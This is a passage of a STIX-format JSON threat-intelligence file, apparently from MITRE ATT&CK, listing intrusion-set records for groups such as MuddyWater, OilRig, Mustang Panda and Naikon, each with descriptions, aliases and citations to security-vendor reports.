                    "url": "https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering",
                    "description": "Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021."
                },
                {
                    "source_name": "ClearSky Kittens Back 2 Oct 2019",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf",
                    "description": "ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021."
                },
                {
                    "source_name": "ClearSky Kittens Back 3 August 2020",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf",
                    "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."
                },
                {
                    "source_name": "IBM ITG18 2020",
                    "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/",
                    "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021."
                },
                {
                    "source_name": "Microsoft Phosphorus Mar 2019",
                    "url": "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/",
                    "description": "Burt, T.. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020."
                },
                {
                    "source_name": "Microsoft Phosphorus Oct 2020",
                    "url": "https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/",
                    "description": "Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021."
                },
                {
                    "source_name": "US District Court of DC Phosphorus Complaint 2019",
                    "url": "https://noticeofpleadings.com/phosphorus/files/Complaint.pdf",
                    "description": "US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, dating back as early as 2014. The group typically targets U.S. and Middle Eastern military organizations, as well as other government personnel, via complex social engineering campaigns.(Citation: FireEye APT35 2018)",
            "name": "Magic Hound",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "type": "intrusion-set",
            "x_mitre_version": "3.0",
            "x_mitre_contributors": [
                "Anastasios Pingios",
                "Bryan Lee"
            ]
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Moafee",
            "description": "[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0002",
                    "external_id": "G0002"
                },
                {
                    "source_name": "Moafee",
                    "description": "(Citation: Haq 2014)"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html",
                    "description": "Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "source_name": "Haq 2014"
                }
            ],
            "aliases": [
                "Moafee"
            ],
            "modified": "2020-03-30T19:09:42.298Z",
            "created": "2017-05-31T21:31:46.025Z",
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        },
        {
            "id": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643",
            "type": "intrusion-set",
            "name": "Mofang",
            "description": "[Mofang](https://attack.mitre.org/groups/G0103) is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim's infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.(Citation: FOX-IT May 2016 Mofang)",
            "external_references": [
                {
                    "external_id": "G0103",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0103"
                },
                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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            "aliases": [
                "Mofang"
            ],
            "modified": "2020-05-29T03:30:39.739Z",
            "created": "2020-05-12T21:23:59.021Z",
            "x_mitre_version": "1.0"
        },
        {
            "created": "2017-05-31T21:31:55.093Z",
            "modified": "2021-04-27T20:16:16.057Z",
            "aliases": [
                "Molerats",
                "Operation Molerats",
                "Gaza Cybergang"
            ],
            "type": "intrusion-set",
            "id": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Molerats",
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "external_id": "G0021",
                    "url": "https://attack.mitre.org/groups/G0021",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Molerats",
                    "description": "(Citation: DustySky)"
                },
                {
                    "source_name": "Operation Molerats",
                    "description": "(Citation: FireEye Operation Molerats)(Citation: Cybereason Molerats Dec 2020)"
                },
                {
                    "source_name": "Gaza Cybergang",
                    "description": "(Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020)"
                },
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                },
                {
                    "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf",
                    "description": "ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.",
                    "source_name": "DustySky2"
                },
                {
                    "source_name": "Kaspersky MoleRATs April 2019",
                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                },
                {
                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
                },
                {
                    "source_name": "FireEye Operation Molerats",
                    "description": "Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html"
                }
            ],
            "x_mitre_version": "2.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0069",
                    "external_id": "G0069"
                },
                {
                    "source_name": "MuddyWater",
                    "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)"
                },
                {
                    "source_name": "Earth Vetala ",
                    "description": "(Citation: Trend Micro Muddy Water March 2021)"
                },
                {
                    "source_name": "MERCURY",
                    "description": "(Citation: Anomali Static Kitten February 2021)"
                },
                {
                    "source_name": "Static Kitten",
                    "description": "(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"
                },
                {
                    "source_name": "Seedworm",
                    "description": "(Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"
                },
                {
                    "source_name": "TEMP.Zagros",
                    "description": "(Citation: FireEye MuddyWater Mar 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 MuddyWater Nov 2017"
                },
                {
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "source_name": "Symantec MuddyWater Dec 2018"
                },
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                },
                {
                    "source_name": "ClearSky MuddyWater June 2019",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf",
                    "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020."
                },
                {
                    "source_name": "Reaqta MuddyWater November 2017",
                    "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/",
                    "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                },
                {
                    "source_name": "Anomali Static Kitten February 2021",
                    "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies",
                    "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group's victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)",
            "name": "MuddyWater",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "type": "intrusion-set",
            "aliases": [
                "MuddyWater",
                "Earth Vetala ",
                "MERCURY",
                "Static Kitten",
                "Seedworm",
                "TEMP.Zagros"
            ],
            "modified": "2021-04-26T22:30:05.308Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_version": "3.0"
        },
        {
            "id": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4",
            "type": "intrusion-set",
            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Germany, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) ",
            "name": "Mustang Panda",
            "external_references": [
                {
                    "external_id": "G0129",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0129"
                },
                {
                    "source_name": "Mustang Panda",
                    "description": "(Citation: Crowdstrike MUSTANG PANDA June 2018)"
                },
                {
                    "source_name": "TA416",
                    "description": "(Citation: Proofpoint TA416 November 2020)"
                },
                {
                    "source_name": "RedDelta",
                    "description": "(Citation: Recorded Future REDDELTA July 2020)"
                },
                {
                    "source_name": "BRONZE PRESIDENT",
                    "description": "(Citation: Secureworks BRONZE PRESIDENT December 2019)"
                },
                {
                    "source_name": "Crowdstrike MUSTANG PANDA June 2018",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/",
                    "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."
                },
                {
                    "source_name": "Anomali MUSTANG PANDA October 2019",
                    "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations",
                    "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."
                },
                {
                    "source_name": "Secureworks BRONZE PRESIDENT December 2019",
                    "url": "https://www.secureworks.com/research/bronze-president-targets-ngos",
                    "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."
                },
                {
                    "source_name": "Proofpoint TA416 November 2020",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader",
                    "description": "Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021."
                },
                {
                    "source_name": "Recorded Future REDDELTA July 2020",
                    "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf",
                    "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "aliases": [
                "Mustang Panda",
                "TA416",
                "RedDelta",
                "BRONZE PRESIDENT"
            ],
            "modified": "2021-04-25T21:15:45.895Z",
            "created": "2021-04-12T15:56:28.861Z",
            "x_mitre_contributors": [
                "Kyaw Pyiyt Htet, @KyawPyiytHtet"
            ],
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        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "NEODYMIUM",
            "description": "[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0055",
                    "external_id": "G0055"
                },
                {
                    "source_name": "NEODYMIUM",
                    "description": "(Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/",
                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
                    "source_name": "Microsoft NEODYMIUM Dec 2016"
                },
                {
                    "source_name": "Microsoft SIR Vol 21",
                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"
                },
                {
                    "url": "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/",
                    "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.",
                    "source_name": "CyberScoop BlackOasis Oct 2017"
                }
            ],
            "aliases": [
                "NEODYMIUM"
            ],
            "modified": "2019-03-25T14:31:40.855Z",
            "created": "2018-01-16T16:13:52.465Z",
            "x_mitre_version": "1.0"
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        {
            "external_references": [
                {
                    "external_id": "G0019",
                    "url": "https://attack.mitre.org/groups/G0019",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Naikon",
                    "description": "(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)(Citation: Baumgartner Golovkin Naikon 2015)"
                },
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                },
                {
                    "source_name": "CameraShy",
                    "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.",
                    "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf"
                },
                {
                    "url": "https://securelist.com/the-naikon-apt/69953/",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.",
                    "source_name": "Baumgartner Golovkin Naikon 2015"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea.(Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People\u2019s Liberation Army\u2019s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau(Military Unit Cover Designator 78020).(Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)",
            "name": "Naikon",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
            "type": "intrusion-set",
            "aliases": [
                "Naikon"
            ],
            "modified": "2020-07-03T21:48:57.725Z",
            "created": "2017-05-31T21:31:54.232Z",
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        {
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            "id": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Night Dragon",
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0014",
                    "external_id": "G0014"
                },
                {
                    "source_name": "Night Dragon",
                    "description": "(Citation: McAfee Night Dragon)"
                },
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "aliases": [
                "Night Dragon"
            ],
            "modified": "2020-10-15T00:54:00.656Z",
            "created": "2017-05-31T21:31:51.643Z",
            "x_mitre_version": "1.3"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "OilRig",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0049",
                    "external_id": "G0049"
                },
                {
                    "source_name": "OilRig",
                    "description": "(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)"
                },
                {
                    "source_name": "COBALT GYPSY",
                    "description": "(Citation: Secureworks COBALT GYPSY Threat Profile)"
                },
                {
                    "source_name": "IRN2",
                    "description": "(Citation: Crowdstrike Helix Kitten Nov 2018)"
                },
                {
                    "source_name": "HELIX KITTEN",
                    "description": "(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)"
                },
                {
                    "source_name": "APT34",
                    "description": "This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)"
                },
                {
                    "source_name": "Palo Alto OilRig April 2017",
                    "description": "Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/"
                },
                {
                    "source_name": "ClearSky OilRig Jan 2017",
                    "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.",
                    "url": "http://www.clearskysec.com/oilrig/"
                },
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                },
                {
                    "source_name": "Palo Alto OilRig Oct 2016",
                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
                },
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "source_name": "Unit 42 QUADAGENT July 2018"
                },
                {
                    "source_name": "Secureworks COBALT GYPSY Threat Profile",
                    "url": "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy",
                    "description": "Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021."
                },
                {
                    "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/",
                    "source_name": "Crowdstrike Helix Kitten Nov 2018"
                }
            ],
            "aliases": [
                "OilRig",
                "COBALT GYPSY",
                "IRN2",
                "HELIX KITTEN",
                "APT34"
            ],
            "modified": "2021-04-26T12:59:49.642Z",
            "created": "2017-12-14T16:46:06.044Z",
            "x_mitre_contributors": [
                "Robert Falcone",
                "Bryan Lee"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "id": "intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871",
            "type": "intrusion-set",
            "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) described activities carried out by a China-based cyber espionage adversary. [Operation Wocao](https://attack.mitre.org/groups/G0116) targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. [Operation Wocao](https://attack.mitre.org/groups/G0116) used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)",
            "name": "Operation Wocao",
            "external_references": [
                {
                    "external_id": "G0116",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0116"
                },
                {
                    "source_name": "Operation Wocao",
                    "description": "(Citation: FoxIT Wocao December 2019)"
                },
                {
                    "source_name": "FoxIT Wocao December 2019",
                    "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf",
                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "aliases": [
                "Operation Wocao"
            ],
            "modified": "2021-04-20T00:14:14.838Z",
            "created": "2020-11-17T20:33:44.273Z",
            "x_mitre_contributors": [
                "Erik Schamper, @Schamperr, Fox-IT",
                "Maarten van Dantzig, @MaartenVDantzig, Fox-IT"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Orangeworm",
            "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage. (Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0071",
                    "external_id": "G0071"
                },
                {
                    "source_name": "Orangeworm",
                    "description": "(Citation: Symantec Orangeworm April 2018)"
                },
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia",
